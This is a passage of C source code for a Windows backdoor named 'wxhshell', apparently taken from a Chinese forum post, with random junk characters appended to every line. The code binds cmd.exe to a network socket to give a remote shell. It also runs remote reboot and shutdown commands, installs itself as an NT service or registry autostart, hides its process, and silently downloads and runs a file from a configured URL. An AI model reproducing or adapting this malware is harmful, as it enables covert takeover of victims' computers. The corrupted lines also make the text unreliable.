xw<OLWW  
    switch(cmd[0]) { W/=|/-\]/  
  +KEkmXZ  
  // 帮助 E^hHH?w+  
  case '?': { k#}g,0@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?hYqcT[%  
    break; !5}l&7:(MN  
  } JIO$=+p  
  // 安装 #(LfYw.P1V  
  case 'i': { O;[9_[  
    if(Install()) "tS'b+SJ-S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZiFooA  
    else JM.XH7k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'rb'7=z5  
    break; .r+hERcB  
    } 2h {q h  
  // 卸载 E3/:.t  
  case 'r': { 9^F2$+T[:  
    if(Uninstall()) 9H]_4?aX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D~K;~nI  
    else Ap\AP{S4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rAQF9O[  
    break; ~F, &GH  
    } ,}D}oo*  
  // 显示 wxhshell 所在路径 Uf*EJ1Ei  
  case 'p': { n,M)oo1G  
    char svExeFile[MAX_PATH]; 3UUGblg`~  
    strcpy(svExeFile,"\n\r"); L3(^{W]|  
      strcat(svExeFile,ExeFile); 1+y"i<3)  
        send(wsh,svExeFile,strlen(svExeFile),0); Zt3}Z4d  
    break; ?lCd{14Mkh  
    } K,xW6DiH  
  // 重启 ~<qt%W?  
  case 'b': { C.!_]Pxs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ALd;$fd qf  
    if(Boot(REBOOT)) Fs/?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oh#N 0 0X  
    else { _'x8M  
    closesocket(wsh); R@T6U:1  
    ExitThread(0); +:jT=V"X  
    } [IM%b~j(^  
    break; O,V9R rG  
    } #6S75{rnW"  
  // 关机 o5Rz%k#h  
  case 'd': { JbQZ!+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^%oUmwP<$  
    if(Boot(SHUTDOWN)) b1^n KB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_\W/I!7b  
    else { cm>E[SHr  
    closesocket(wsh); cJ}QXuuUv  
    ExitThread(0); oholt/gb+0  
    } 1@sM1WM X  
    break; J_#R 87  
    } 0_<Nc/(P  
  // 获取shell j;P+_Hfe/E  
  case 's': { s0LA^2U  
    CmdShell(wsh); ^gro=Bp(  
    closesocket(wsh);  h=RD O  
    ExitThread(0); YwT-T,oD  
    break; 5a8>g [2U  
  } \Xg?Ug*9w  
  // 退出 y)J(K*x/$  
  case 'x': { wod/&!)]A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =F%RLpNU4  
    CloseIt(wsh); 2O""4_G  
    break; 3=4SGt5m  
    } 1|y$~R.H  
  // 离开 <ZPZk'53<f  
  case 'q': { +S{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cHvF*A  
    closesocket(wsh); T.?k>A k  
    WSACleanup(); ( 76{2  
    exit(1); - HOnB=  
    break; Mn^zYW|(  
        } f$xhb3Qn  
  } +/'<z  
  } Zy]s`aa  
@] .VQ<X|0  
  // 提示信息 Q2'eQ0W{ o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~5#)N{GbY  
} wgd<3 X  
  } I^0 t2[M  
KXBL eR&^  
  return; R ZcH+?7  
} bcJ@-i0V  
mc@M,2@D  
// shell模块句柄 {K.rl%_|N  
int CmdShell(SOCKET sock) {gkwOMW  
{ 2)LX^?7R  
STARTUPINFO si; /(6zsq'v|  
ZeroMemory(&si,sizeof(si)); f~gSJ< t4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z$2L~j"=!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]if;A)'  
PROCESS_INFORMATION ProcessInfo; 6&!l'[hU  
char cmdline[]="cmd"; (.^8^uc 7X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ #]jC[  
  return 0; z%2w(&1  
} wL eHQ]  
!]DuZ=  
// 自身启动模式 )bW<8f2  
int StartFromService(void) X=_Z(;<&  
{ kO3 `54  
typedef struct H @!#;w  
{ D9,! %7i  
  DWORD ExitStatus; m6so]xr  
  DWORD PebBaseAddress; )A83A<~  
  DWORD AffinityMask; #MM &BC  
  DWORD BasePriority; =P_fv  
  ULONG UniqueProcessId; %-^}45](q  
  ULONG InheritedFromUniqueProcessId; 9/;{>RL=  
}   PROCESS_BASIC_INFORMATION; cF.mb*$K  
$N\+,?  
PROCNTQSIP NtQueryInformationProcess; M/w{&&  
g X/NtO %  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {[3YJkrM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bXl8v  
l P0k:  
  HANDLE             hProcess; Ow3a0cF[9  
  PROCESS_BASIC_INFORMATION pbi; ,C!n}+27  
kMS5h~D[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0eA5zFU7  
  if(NULL == hInst ) return 0; |!b9b(_j9  
{})y^L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZlM_ m >,o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (v;A'BjN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6lU|mJ`M  
FE6C6dW{  
  if (!NtQueryInformationProcess) return 0; uX0 Bp8P  
d^SE)/j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qp69Sk@H{  
  if(!hProcess) return 0; n0FYfqH  
+ U5U.f%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h ]}`@M"  
D=9}|b/  
  CloseHandle(hProcess); V_M@g;<o  
SQIdJG^:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0^iJlR2  
if(hProcess==NULL) return 0; 44Qk;8*  
? Q:PPqQ  
HMODULE hMod; > ZDC . ~  
char procName[255]; q] ZSj J  
unsigned long cbNeeded; s"rg_FoL  
?z"YC&Tp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _S<?t9mS  
'?k' 6R$'\  
  CloseHandle(hProcess); rIPl6,w~  
`r.N  
if(strstr(procName,"services")) return 1; // 以服务启动 ?d,M.o{0]  
5 ZUy:  
  return 0; // 注册表启动 >W~=]&7{s4  
} J" wKRy  
GiqBzV3"  
// 主模块 &G=0  
int StartWxhshell(LPSTR lpCmdLine) =BW9/fG  
{ dqwWfn1lt  
  SOCKET wsl; iE+6UK  
BOOL val=TRUE; yjv&4pIc1  
  int port=0; E@]sq A  
  struct sockaddr_in door; ]W|RtdF3.N  
K Dz]wNf  
  if(wscfg.ws_autoins) Install(); aZxO/b^j  
r$?Vx_f`Q  
port=atoi(lpCmdLine); i"fCpkAP  
p  .aE  
if(port<=0) port=wscfg.ws_port; x!`KhTu`_A  
>DS}#'N4l  
  WSADATA data; a'^0.1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cS 4T\{B;  
m|`VJ 0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h;}ODK(.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +<B|qcT!  
  door.sin_family = AF_INET; $ %;jk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wa{%0inZ  
  door.sin_port = htons(port); hJ4S3b  
r?]%d!   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #O><A&FrF`  
closesocket(wsl); s%bUgO%&  
return 1; U~hCn+0  
} pNSst_!>  
L3g9b53\  
  if(listen(wsl,2) == INVALID_SOCKET) { V:QdQ;c  
closesocket(wsl); `M6YblnJZ  
return 1; 1zR/HT  
} $BaK'7=3*  
  Wxhshell(wsl); g X8**g'  
  WSACleanup(); m/KjJ"s,  
,=x RoXYB}  
return 0; e+x*psQ  
GGp{b>E+ #  
} 0hb/`[Q  
cPm~` Zd  
// 以NT服务方式启动 >z5Oy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y78z>(jV  
{ b<8q 92F  
DWORD   status = 0; >0 7shNX  
  DWORD   specificError = 0xfffffff; >waN;&>/  
k5g@myb-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .h a`)@MsZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M-vC>u3Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bbO+%-(X  
  serviceStatus.dwWin32ExitCode     = 0; dUZ$wbV%h  
  serviceStatus.dwServiceSpecificExitCode = 0; iW":DOdi_  
  serviceStatus.dwCheckPoint       = 0; "W3W:vl!  
  serviceStatus.dwWaitHint       = 0; &6Ns7w6*z  
q< b"M$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jB`7T^bU  
  if (hServiceStatusHandle==0) return; a&8l[xe1  
q'by;g*m  
status = GetLastError(); ([1=>Jw"  
  if (status!=NO_ERROR) V15q01bE#  
{ # UjEY9"M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .byc;9M%  
    serviceStatus.dwCheckPoint       = 0; ~U/8 @gR  
    serviceStatus.dwWaitHint       = 0; va@XbUC  
    serviceStatus.dwWin32ExitCode     = status; ?${V{=)*X'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 L*+8a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{~_/;\p3  
    return; e{:86C!d)  
  } '}@e5^oL  
 &Q<EfB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rnz8 f}  
  serviceStatus.dwCheckPoint       = 0; N:twq&[Y  
  serviceStatus.dwWaitHint       = 0; oO8]lHS?@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z0{f  
} G]at{(^Vz  
EgFl="0  
// 处理NT服务事件,比如:启动、停止 l<s :%%CX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) " S ?Km  
{ >J9IRAm}sc  
switch(fdwControl) ys/`{:w8p  
{ gZ1N&/9;  
case SERVICE_CONTROL_STOP: %bEGv:88s  
  serviceStatus.dwWin32ExitCode = 0; i_|h{JK)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;B*L1'FF%t  
  serviceStatus.dwCheckPoint   = 0; =z+-l5Gu"  
  serviceStatus.dwWaitHint     = 0; JN-D/s  
  { N&x@_t""   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3e#x)H/dr  
  } >\Z lZ  
  return; mf+K{y,L  
case SERVICE_CONTROL_PAUSE: z9I1RX V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :fl*w""V@  
  break; bb*c+XN0  
case SERVICE_CONTROL_CONTINUE: hT\p)w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P>.Y)$`r  
  break; t>XZ 3  
case SERVICE_CONTROL_INTERROGATE:  fF\*v  
  break; Y"r3i]  
}; 58qaA\iw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o-L|"3 P  
} ^ b=5 6~[  
 =7*oC  
// 标准应用程序主函数 Dm&lSWW`/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e6Wl7&@6  
{ Ma% E&.ed  
D%6ir*%T  
// 获取操作系统版本 w2.qT+; v  
OsIsNt=GetOsVer(); jn0t-":  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |G[{{qZM5  
<{3q{VW*  
  // 从命令行安装 Iz 1*4@  
  if(strpbrk(lpCmdLine,"iI")) Install(); UDhwnGTq(l  
_HSTiJVr  
  // 下载执行文件 8h55$j  
if(wscfg.ws_downexe) { y.L|rRe@P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wh#os,U$  
  WinExec(wscfg.ws_filenam,SW_HIDE); jI@bTS o  
}  ]H@v  
r0rJ.}!  
if(!OsIsNt) { &f (sfM_n  
// 如果时win9x,隐藏进程并且设置为注册表启动 %iHyt,0v2  
HideProc(); [GcA.ABz  
StartWxhshell(lpCmdLine); WiPM <'  
} ]9bh+  
else -U/I'RDLEz  
  if(StartFromService()) X; e`y:9  
  // 以服务方式启动 CUAg{]  
  StartServiceCtrlDispatcher(DispatchTable); KfJ c  
else 7vB9K_wCI  
  // 普通方式启动 |;x fe"]  
  StartWxhshell(lpCmdLine); (:tTx>V#  
I^rZgp<'i  
return 0; 6)tB{:h&~0  
}
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只看该作者 1 发表于: 2006-10-10
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